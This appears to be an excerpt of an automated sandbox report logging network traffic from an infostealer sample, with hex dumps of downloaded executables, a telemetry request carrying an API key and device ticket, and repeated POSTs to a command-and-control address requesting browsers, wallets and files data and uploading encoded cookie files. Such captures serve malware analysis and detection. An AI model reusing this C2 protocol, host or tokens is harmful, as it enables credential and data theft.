00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:42:56 GMTContent-Type: application/octet-streamContent-Length: 1828352Last-Modified: Mon, 18 Nov 2024 03:27:57 GMTConnection: keep-aliveETag: "673ab43d-1be600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 60 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 6a 00 00 04 00 00 1e 5c 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 77 69 77 6c 63 6b 72 00 50 1a 00 00 00 50 00 00 46 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6b 74 6b 73 61 75 6b 00 10 00 00 00 50 6a 00 00 06 00 00 00 be 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 6a 00 00 22 00 00 00 c4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:43:33 GMTContent-Type: application/octet-streamContent-Length: 2800128Last-Modified: Mon, 18 Nov 2024 03:26:33 GMTConnection: keep-aliveETag: "673ab3e9-2aba00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 ef 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 69 6e 62 71 7a 61 6e 00 60 2a 00 00 a0 00 00 00 58 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 66 75 63 66 64 68 66 00 20 00 00 00 00 2b 00 00 06 00 00 00 92 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731901559747Host: self.events.data.microsoft.comContent-Length: 7979Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="build"mars------IDAEHCFHJJJJECAAFBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 2d 2d 0d 0a Data Ascii: ------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="message"browsers------KEBFHIJECFIDGDGCGHCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="message"plugins------JDAFBKECAKFCAAAKJDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="message"fplugins------HCAEHDHDAKJEBGCBKKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAAAAAAAAAAAAAAAAAAHost: 185.215.113.206Content-Length: 5303Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJJEGIDBGIDGCBAFHCHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 45 47 49 44 42 47 49 44 47 43 42 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 45 47 49 44 42 47 49 44 47 43 42 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 45 47 49 44 42 47 49 44 47 43 42 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 45 47 49 44 42 47 49 44 47 43 42 41 46 48 43 2d 2d 0d 0a Data Ascii: ------KJKJJEGIDBGIDGCBAFHCContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------KJKJJEGIDBGIDGCBAFHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KJKJJEGIDBGIDGCBAFHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KJKJJEGIDBGIDGCBAFHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="file"------GDBKKFHIEGDHJKECAAKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEHHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file"------KKKEBKJJDGHCBGCAAKEH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFHDHJKKJDHJJJJKEGHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="message"wallets------IEHJDGIDBAAFIDGCGCAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="message"files------GCAKKECAEGDGCBFIJEGH--
